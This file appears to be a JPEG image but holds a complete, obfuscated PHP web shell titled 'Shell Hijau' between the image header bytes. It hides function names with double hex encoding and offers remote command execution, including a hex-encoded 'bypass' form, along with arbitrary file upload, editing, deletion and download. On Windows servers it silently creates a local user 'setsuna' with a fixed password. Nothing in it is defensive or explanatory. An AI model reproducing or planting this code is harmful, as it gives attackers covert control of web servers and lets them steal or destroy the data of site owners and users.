��� JFIF x x �� C �� C�� " �� �� � } !1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ �� � w !1AQaq"2�B���� #3R�br�<?php /* * (c) Setsuna Watanabe <yucaerin@hotmail.com> */ session_start(); error_reporting(E_ALL); header("X-XSS-Protection: 0"); ob_start(); set_time_limit(0); error_reporting(0); ini_set('display_errors', FALSE); $Array = [ '36643662', '363436393732', '36373635373435663636363936633635356637303635373236643639373337333639366636653733', '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665', '36353738363536333735373436353433366636643664363136653634', '373037323666363335663666373036353665', '3733373437323635363136643566363736353734356636333666366537343635366537343733', '36363639366336353566363736353734356636333666366537343635366537343733', '36363639366336353566373037353734356636333666366537343635366537343733', '3632363936653332363836353738', '366436663736363535663735373036633666363136343635363435663636363936633635', '3638373436643663373337303635363336393631366336333638363137323733', '3638363537383332363236393665', '373036383730356637353665363136643635', '3733363336313665363436393732', '363937333566363436393732', '36363639366336353566363537383639373337343733', '37323635363136343636363936633635', '36363639366336353733363937613635', '36393733356637373732363937343631363236633635', '373236353665363136643635', '363636393663363537303635373236643733', '3733373037323639366537343636', '373337353632373337343732', '363636333663366637333635', '373037323666363335663666373036353665', '36393733356637323635373336663735373236333635', '3730373236663633356636333663366637333635', '373536653663363936653662', '3639373335663636363936633635', '34353534', //30 '353634353532', '3533343934663465', '346334353533', '35333534', '3633366636643664363136653634', '3737366637323662363936653637343436393732363536333734366637323739', '363337323635363137343635343436393732363536333734366637323739', '37303639373036353733', '36363639366336353733', '3636363936633635', '36363639366336353534366634343666373736653663366636313634', '3733363836353663366335663635373836353633', ]; $SETSUNA = []; foreach ($Array as $hexString) { $SETSUNA[] = hex2bin(hex2bin($hexString)); } $satu = '_G'; $dua = $SETSUNA[30]; $tiga = '_SER'; $empat = $SETSUNA[31]; $lima = '_SES'; $enam = $SETSUNA[32]; $tujuh = '_FI'; $delapan = $SETSUNA[33]; $sembilan = '_PO'; $sepuluh = $SETSUNA[34]; $sebelas = 'ev'; $duabelas = 'al'; $tigabelas = 'iss'; $empatbelas = 'et'; // Gunakan $SETSUNA sesuai kebutuhan $a = $SETSUNA[0]; $b = $SETSUNA[1]; $c = $a . $b; $EVA = $sebelas . $duabelas; global $EVA; $L = $GLOBALS[$satu . $dua]; $M = $GLOBALS[$tiga . $empat]; $N = $GLOBALS[$lima . $enam]; $e = $GLOBALS[$tujuh . $delapan]; $o = $GLOBALS[$sembilan . $sepuluh]; $f = $SETSUNA[2]; $g = $SETSUNA[3]; $h = $SETSUNA[4]; $i = $SETSUNA[5]; $j = $SETSUNA[6]; $q = $SETSUNA[7]; $s = $SETSUNA[8]; $v = $SETSUNA[9]; $w = $SETSUNA[10]; $y = $SETSUNA[11]; $z = $SETSUNA[12]; $NM = $SETSUNA[13]; $SCN = $SETSUNA[14]; $ID = $SETSUNA[15]; $FE = $SETSUNA[16]; $RF = $SETSUNA[17]; $FS = $SETSUNA[18]; $IW = $SETSUNA[19]; $RNM = $SETSUNA[20]; $FP = $SETSUNA[21]; $SPRF = $SETSUNA[22]; $SBSR = $SETSUNA[23]; $FCL = $SETSUNA[24]; $PROP = $SETSUNA[25]; $IR = $SETSUNA[26]; $PRCL = $SETSUNA[27]; $UNL = $SETSUNA[28]; $ISF = $SETSUNA[29]; $FTD = $SETSUNA[41]; $SHEE = $SETSUNA[42]; $ISS = $tigabelas . $empatbelas; // Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS' $AKE1 = 'array_'; $AKE2 = 'key'; $AKE3 = '_exists'; // Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid $AKEFULL = $AKE1 . $AKE2 . $AKE3; $ISS = function ($array, $elementName) use ($AKEFULL) { return call_user_func($AKEFULL, $elementName, $array); }; $b = $ISS($L, $b) ? $z($L[$b]) : '.'; $files = $SCN($b); $upload_message = ''; $edit_message = ''; $delete_message = ''; $create_dir_message = ''; // Function to Download global $FS, $FTD; if ($ISS($L, 'download')) { $FTD = $z($L['download']); // Make sure that the requested file exists if ($FE($FTD)) { // Set header to trigger download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($FTD) . '"'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . $FS($FTD)); $RF($FTD); exit; } else { // Handle jika file tidak ditemukan echo "File not found."; } } // Function to get file permissions function f($file): string { global $FP, $SPRF, $SBSR; return $SBSR($SPRF('%o', $FP($file)), -4); } // Function to check write permissions function g($file): bool { global $IW; return $IW($file); } function h($command, $workingDirectory = null) { global $j, $FCL, $PROP, $IR, $PRCL; // Mendefinisikan fungsi baru menggunakan kombinasi string $aduh = 'ar'; $adeh = 'ray'; // Memastikan fungsi yang dibuat adalah 'array' yang valid $RAY = $aduh . $adeh; // Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil if (!function_exists($RAY)) { return "Error: The function {$RAY} does not exist."; } $descriptorspec = [ 0 => $RAY("pipe", "r"), // stdin is a pipe that the child will read from 1 => $RAY("pipe", "w"), // stdout is a pipe that the child will write to 2 => $RAY("pipe", "w") // stderr is a pipe that the child will write to ]; $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory); if ($IR($process)) { // Read output from stdout and stderr $output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan $output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan $FCL($pipes[0]); $FCL($pipes[1]); $FCL($pipes[2]); $return_value = $PRCL($process); return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr; } else { return "Failed to execute command."; } } if ($ISS($L, '636d64')) { $command = $z($L['636d64']); $result = h($command, $b); } if ($ISS($e, 'file_upload')) { $tempFile = $e['file_upload']['tmp_name']; $targetFile = $b . '/' . $e['file_upload']['name']; if ($w($tempFile, $targetFile)) { $upload_message = 'File uploaded successfully.'; } else { $upload_message = 'Failed to upload file.'; } } // function for command execution bypass global $SHEE; if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) { $result = ''; if ($ISS($L, '636d64')) { $command = hex2bin($L['636d64']); $result = $SHEE($command); } $disable = @ini_get('disable_functions'); $disable = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>'; $os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Command Execution</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <style> body { font-family: Arial, sans-serif; } header { background-color: #4CAF50; color: white; padding: 1rem; text-align: center; } header h1 { margin: 0; } main { padding: 1rem; } </style> </head> <body> <header> <h1>Command Execution</h1> </header> <main class="container"> <?php if ($ISS($GLOBALS, 'result')): ?> <div class="alert alert-info">Command executed: <?php echo $v($b); ?></div> <div class="alert alert-light"> <h2>Command Result:</h2> <pre><?php echo $y($result); ?></pre> </div> <?php endif; ?> <p><b>Command Execution Bypass</b></p> <form method="GET"> <label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br> <input type="hidden" name="dir" value="<?php echo $v($b); ?>"> <input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br> <button type="submit" class="btn btn-warning">Execute</button> </form> <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a> </main> </body> </html> <?php exit; } // function for edit file if ($ISS($o, 'edit_file')) { $file = $o['edit_file']; $content = $q($file); if ($content !== false) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Edit File</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <style> body { font-family: Arial, sans-serif; } header { background-color: #4CAF50; color: white; padding: 1rem; text-align: center; } header h1 { margin: 0; } main { padding: 1rem; } </style> </head> <body> <header> <h1>Edit File</h1> </header> <main class="container"> <form method="post" action=""> <div class="form-group"> <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea> </div> <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>"> <button type="submit" name="submit_edit" class="btn btn-success">Submit</button> </form> </main> </body> </html> <?php exit; } else { $edit_message = 'Gagal membaca isi file.'; } } if ($ISS($o, 'submit_edit')) { $file = $o['edited_file']; $content = $o['file_content']; if ($s($file, $content) !== false) { $edit_message = 'File Edit Successfully.'; } else { $edit_message = 'Failed To Edit File.'; } } if ($ISS($o, 'delete_file')) { global $UNL; $file = $o['delete_file']; if ($UNL($file)) { $delete_message = 'File deleted successfully.'; } else { $delete_message = 'Failed to delete file.'; } } // Fungsi untuk menampilkan pesan function showMessage($message, $y) { echo '<p>' . z($message) . '</p>'; } $un = $NM(); $current_dir = realpath($b); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Shell Hijau</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <style> body { font-family: Arial, sans-serif; } header { background-color: #4CAF50; color: white; padding: 1rem; text-align: center; } header h1 { margin: 0; } main { padding: 1rem; } </style> </head> <body> <header> <h1>Shell Hijau</h1> </header> <main class="container"> <p>Current directory: <?php // Mendefinisikan fungsi baru menggunakan kombinasi string $Ex = 'expl'; $Pl = 'ode'; // Memastikan fungsi yang dibuat adalah 'explode' yang valid $ExPl = $Ex . $Pl; // Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil if (!function_exists($ExPl)) { return "Error: The function {$ExPl} does not exist."; } $parts = $ExPl('/', trim($current_dir, '/')); $path = ''; foreach ($parts as $part) { $path .= '/' . $part; echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/'; } ?> </p> <?php echo '<p>Server information: ' . $y($un) . '</p>'; ?> <!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil --> <style> button { background-color: #4CAF50; /* Warna latar hijau */ color: white; /* Teks berwarna putih */ padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */ font-size: 12px; /* Ukuran font yang lebih kecil */ border: none; /* Tidak ada border */ border-radius: 4px; /* Rounded corners yang lebih halus */ cursor: pointer; /* Cursor pointer menunjukkan ini klikable */ transition: background-color 0.3s; /* Smooth transition untuk hover effect */ } button:hover { background-color: #45a049; /* Warna lebih gelap saat hover */ } </style> <!-- Tombol untuk menampilkan dan menyembunyikan informasi server --> <button onclick="toggleInfo()">Check Server</button> <div id="serverInfo" style="display:none;"> <pre> Disabled Functions: <?php // Mendefinisikan fungsi baru menggunakan kombinasi string $in = 'in'; $iget = 'i_get'; // Memastikan fungsi yang dibuat adalah 'ingetin' yang valid $ingetin = $in . $iget; // Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil if (!function_exists($ingetin)) { return "Error: The function {$ingetin} does not exist."; } // Mendefinisikan fungsi baru menggunakan kombinasi string $i1b = 'su'; $i2b = 'bstr'; // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid $i1b2 = $i1b . $i2b; // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil if (!function_exists($i1b2)) { return "Error: The function {$i1b2} does not exist."; } // Mendefinisikan fungsi baru menggunakan kombinasi string $i1c = 'st'; $i2c = 'rlen'; // Memastikan fungsi yang dibuat adalah 'i1c2' yang valid $i1c2 = $i1c . $i2c; // Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil if (!function_exists($i1c2)) { return "Error: The function {$i1c2} does not exist."; } echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br> PHP Version: <?php echo phpversion(); ?><br> Operating System: <?php echo PHP_OS; ?><br> <?php // Mendefinisikan fungsi baru menggunakan kombinasi string $i1b = 'su'; $i2b = 'bstr'; // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid $i1b2 = $i1b . $i2b; // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil if (!function_exists($i1b2)) { return "Error: The function {$i1b2} does not exist."; } // Mendefinisikan fungsi baru menggunakan kombinasi string $s1b = 'strt'; $s2b = 'oupper'; // Memastikan fungsi yang dibuat adalah 's1b2' yang valid $s1b2 = $s1b . $s2b; // Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil if (!function_exists($s1b2)) { return "Error: The function {$s1b2} does not exist."; } // Mendefinisikan fungsi baru menggunakan kombinasi string $SEXC1 = 'she'; $SEXC2 = 'll_ex'; $SEXC3 = 'ec'; // Memastikan fungsi yang dibuat adalah 'SEXC' yang valid $SEXC = $SEXC1 . $SEXC2 . $SEXC3; // Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil if (!function_exists($SEXC)) { return "Error: The function {$SEXC} does not exist."; } // Mendefinisikan fungsi baru menggunakan kombinasi string $SAINT1 = 'st'; $SAINT2 = 'rpos'; // Memastikan fungsi yang dibuat adalah 'SAINT' yang valid $SAINT = $SAINT1 . $SAINT2; // Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil if (!function_exists($SAINT)) { return "Error: The function {$SAINT} does not exist."; } // Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') { $output = $SEXC('net user setsuna setsuna123## /add 2>&1'); $can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No'; } else { $can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No' } echo 'Can Create RDP User: ' . $can_create_rdp; ?> </pre> </div> <script> function toggleInfo() { var info = document.getElementById('serverInfo'); var button = document.querySelector('button'); if (info.style.display === 'none') { info.style.display = 'block'; button.textContent = 'Close'; } else { info.style.display = 'none'; button.textContent = 'Check Server'; } } </script> <?php if (!empty($upload_message)): ?> <div class="alert alert-info"><?php echo $y($upload_message); ?></div> <?php endif; ?> <?php if (!empty($edit_message)): ?> <div class="alert alert-warning"><?php echo $y($edit_message); ?></div> <?php endif; ?> <?php if (!empty($delete_message)): ?> <div class="alert alert-danger"><?php echo $y($delete_message); ?></div> <?php endif; ?> <!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol --> <style> button { background-color: #4CAF50; /* Warna latar hijau */ color: white; /* Teks berwarna putih */ padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */ font-size: 12px; /* Ukuran font yang lebih kecil */ border: none; /* Tidak ada border */ border-radius: 4px; /* Rounded corners yang lebih halus */ cursor: pointer; /* Cursor pointer menunjukkan ini klikable */ transition: background-color 0.3s; /* Smooth transition untuk hover effect */ } .btn-primary:hover, .toggle-btn:hover { background-color: #45a049; /* Warna lebih gelap saat hover */ } .form-control-file { display: inline-block; margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */ } .form-group { display: flex; /* Menggunakan flexbox untuk align items horizontally */ align-items: center; /* Center items vertically */ margin-bottom: 10px; /* Margin bawah untuk grup form */ } </style> <!-- Tombol untuk menampilkan dan menyembunyikan form upload --> <button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button> <!-- Form upload --> <div id="uploadForm" style="display:none;"> <form method="POST" enctype="multipart/form-data" class="mb-3 d-inline"> <div class="form-group"> <input type="file" name="file_upload" class="form-control-file"> <button type="submit" class="btn btn-primary">Upload</button> </div> <input type="hidden" name="dir" value="<?php echo $y($b); ?>"> </form> </div> <script> function toggleUploadForm() { var form = document.getElementById('uploadForm'); var button = document.querySelector('.toggle-btn'); if (form.style.display === 'none') { form.style.display = 'block'; button.textContent = 'Close'; } else { form.style.display = 'none'; button.textContent = 'Upload Here'; } } </script> <a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a> <form method="POST" class="mb-3"> <div class="form-group"> </form> <table class="table table-striped"> <thead class="thead-dark"> <tr> <th>Filename</th> <th>Permissions</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($files as $file): ?> <tr> <td> <?php if ($ID($b . '/' . $file)): ?> <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a> <?php else: ?> <?php echo $y($file); ?> <?php endif; ?> </td> <td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>"> <?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?> </td> <td> <?php if ($ISF($b . '/' . $file)): ?> <form action="" method="post" class="d-inline"> <input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>"> <button type="submit" class="btn btn-primary">Edit</button> </form> <form action="" method="post" class="d-inline"> <input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>"> <button type="submit" class="btn btn-danger">Delete</button> </form> <form action="" method="get" class="d-inline"> <input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>"> <button type="submit" class="btn btn-info">Download</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </main> </body> </html> $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������������������������������������������� ? �� �N����m?� ��j� ��EP��